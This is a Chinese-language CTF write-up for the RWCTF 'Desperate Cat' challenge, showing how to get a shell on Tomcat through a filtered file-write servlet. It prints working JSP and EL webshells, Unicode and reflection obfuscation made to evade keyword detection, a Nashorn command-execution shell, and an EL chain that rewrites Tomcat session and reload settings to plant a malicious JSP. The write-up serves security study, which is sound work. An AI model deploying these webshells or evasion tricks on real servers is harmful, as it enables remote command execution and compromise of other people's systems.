环境搭建

附件可以从github下载,为了方便调试,本地idea新建一个web项目,把反编译的源码复制过去

本地使用一模一样的tomcat的版本9.0.56,官网下载Index of /dist/tomcat/tomcat-9/v9.0.56 (apache.org)

源码分析

web.xml中有一个ExportServlet映射到了/export这个路由上

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>ExportServlet</servlet-name>
<servlet-class>org.rwctf.servlets.ExportServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ExportServlet</servlet-name>
<url-pattern>/export</url-pattern>
</servlet-mapping>

ExportServlet的代码很简单,就是接受三个参数,dir、filename、content

参数获取时都是去掉空格,并且以下字符会进行转义

1
{"&", "<", "'", ">", "\"", "(", ")"}

功能就是可以在一个指定目录中写文件(无法目录穿越),文件后缀可控,文件名是随机字符串

而文件的内容是脏数据 + data + 脏数据的形式,只有中间可控

在这种严苛的文件上传条件下如何getshell呢?

可能的思路 EL webshell

  • Tomcat 在编译 .java.class 的过程中支持 unicode 编码,除去标签外,在原本的 JSP 内容中可以使用 \uXXXX 格式的 Unicode 编码,并且其中的 u 可以无限写多个,例如:

    1
    2
    3
    <%Runtime.getRuntime().exec("calc");%>

    <%\uuuuuuuuuuuu0052\u0075\u006e\u0074\uuuuuuuuuuuuuuuuuuuuu0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>
  • Tomcat 对其处理的 JSP/JSPX 文件及其引用或包含的如 .tag/.tagx 文件处理时支持UTF-8UTF-16BEUTF-16LEISO-10646-UCS-4CP037 多种编码,会自动识别文件 BOM 头部进行解析,但同时可以在 pageEncoding 中指定文件编码;

  • Tomcat 支持 <%@/<jsp:directive./<jsp:scriptlet 各种各样的指令、标签解析,其中默认支持了以 ${ 开头的 EL 表达式解析,还支持了 #{,但需要额外开启;

  • 在面对 JSPX/TAGX 文件时,其文件名代表文件为 XML 格式,在 ParserController 处理时会将 isXml 标记为 true, 并按照 XML 格式来进行解析,因此可以使用 XML 解析过程中支持的一些 tricks,例如 HTML 实体编码,CDATA 混淆等等;

  • Tomcat 的 .tag/.tagx 文件支持动态重载,因此如果环境只对 jsp 后缀内容有严格限制,可以将 .tag/.tagx 文件落地在 /WEB-INF/tags 文件夹下,并在 jsp 中进行调用,例如 tag 文件 <%java.lang.Runtime.getRuntime().exec("open -a Calculator.app");%> ,JSP 文件 <%@ taglib tagdir="/WEB-INF/tags" prefix="a"%><a:su18/>

  • 由于 Tomcat 生成 .java 是采取“拼接方式”,因此可以使用前后闭合写法,例如如下:

    1
    <%hack(request.getParameter("cmd"));}catch(Throwable ignored){}}public void hack(String cmd)throws Exception{javax.servlet.jsp.JspWriter out = null;javax.servlet.jsp.JspWriter _jspx_out = null;javax.servlet.jsp.PageContext _jspx_page_context=null;javax.servlet.http.HttpServletResponse response=null;try{java.lang.Runtime.getRuntime().exec(cmd);%>

题目种最为严格的限制是同时过滤了尖括号和圆括号,其实分开来看的话有许多种绕过方式

  1. 尖括号<

想要不使用<% %>,可以使用Tomcat支持的EL表达式

1
2
3
//<%Runtime.getRuntime.exec(request.getParameter("cmd"));%>

${Runtime.getRuntime().exec(param.cmd)}
  1. 圆括号()

java 代码编译解析器会识别 Unicode 形式的编码,所可以直接unicode

1
2
3
//<%Runtime.getRuntime().exec("calc");%>

<%\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>

EL中 . 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法。

1
2
3
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
//等同于
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));

通过这种方式我们可以获得ClassLoader修改一些tomcat的属性,最终达到利用session写shell的目的

调用ScriptEngine来执行js

使用ScriptEngine构造webshell,获取nashorn JavaScript引擎实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String s = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";
String cmd = request.getParameter("cmd");
String rt = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
// ';java.lang.Runtime.getRuntime().exec(s);
Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s + cmd + rt);
// s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);
InputStreamReader reader = new InputStreamReader(process.getInputStream());
BufferedReader buffer = new BufferedReader(reader);
s = null;
while ((s = buffer.readLine()) != null) {
response.getWriter().println(s);
}
%>

EL + ScriptEngine

在webshell中使用反射配合动态参数传递获取ScriptEngine

1
2
3
4
//test.jsp
${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}

?spr1=javax.script.ScriptEngineManager&spr2=java.lang.Runtime.getRuntime().exec("calc")

如果想要回显可以把上面的jsp改成js传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try {
load("nashorn:mozilla_compat.js");
} catch (e) {
}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
s = [2];
s[0] = "cmd";
s[1] = "/c whoami";
a = "";
b = java.lang.Runtime.getRuntime().exec(s).getInputStream();
output = new BufferedReader(new InputStreamReader(b));
while ((line = output.readLine()) != null) {
a = a + line + "\n";
}
a;

进一步混淆

虽然已经可以通过传递指定js脚本执行命令,但仔细来看

1
${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}

这段代码还是包含了一些较为敏感的关键字,譬如forName、getEngineByName、eval等,作为一个webshell来讲,显然是不够“干净整洁”的;为进一步混淆,我们可以采用动态传递的方式来替换关键字。

在EL表达式中,我们知道获取属性可以使用a.b或者a[‘b’],使用后者就意味着我们可以把所有属性和方法转化成字符串:

1
${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"](param.js)}

也可以动态传参执行

1
${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}

传参

1
?a=getClass&b=forName&c=javax.script.ScriptEngineManager&d=newInstance&e=getEngineByName&f=javascript&g=eval

预期解

由于题目中对 & < ' > " ( ) 符号进行了过滤,并指定写入文件编码为 UTF-8。因此直接限制了之前总结的绝大部分情况。

看了一下发现只剩下了使用 ${} 包裹的 EL 表达式可以执行,但同时还限制了不能使用 ()。不能使用括号的情况下,就无法通过 EL 表达式调用函数。

而出题人给出的大致思路是:在不使用圆括号的情况下,通过 EL 表达式的取值、赋值特性,获取到某些关键的 Tomcat 对象实例,修改它们的属性,造成危险的影响

作者的解法的思路:

  • 通过 EL 表达式修改 Session 文件存储路径,改成后缀为 jsp;
  • 通过 EL 表达式向 Session 中写入数据,来让序列化后的数据中有恶意 JSP 的代码;
  • 通过 EL 表达式将 Context 中的 reloadable 修改为 true;
  • 使用任意文件上传,上传一个后缀为 jar 的文件至 /WEB-INF/lib/ 下,触发 reload,将恶意数据写入;
  • 通过 web 应用访问恶意 JSP。

写入el表达式

1
2
3
4
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

访问jsp给环境变量赋值后,上传一个jar到WEB-INF/lib目录下即可触发reload

非预期 上传ASCII Jar

Reference

RWCTF 4th Desperate Cat Writeup - 知乎 (zhihu.com)

https://blog.csdn.net/weixin_43610673/article/details/122865638

奇安信攻防社区-从DesperateCat到EL webshell初探 (butian.net)

RWCTF 4th Desperate Cat ASCII Jar Writeup | 回忆飘如雪 (gv7.me)

(278条消息) 从DesperateCat学到的Tomcat下的新利用思路_desperate cat_Y4tacker的博客-CSDN博客

以 Desperate Cat 为始学一些姿势 | 素十八 (su18.org)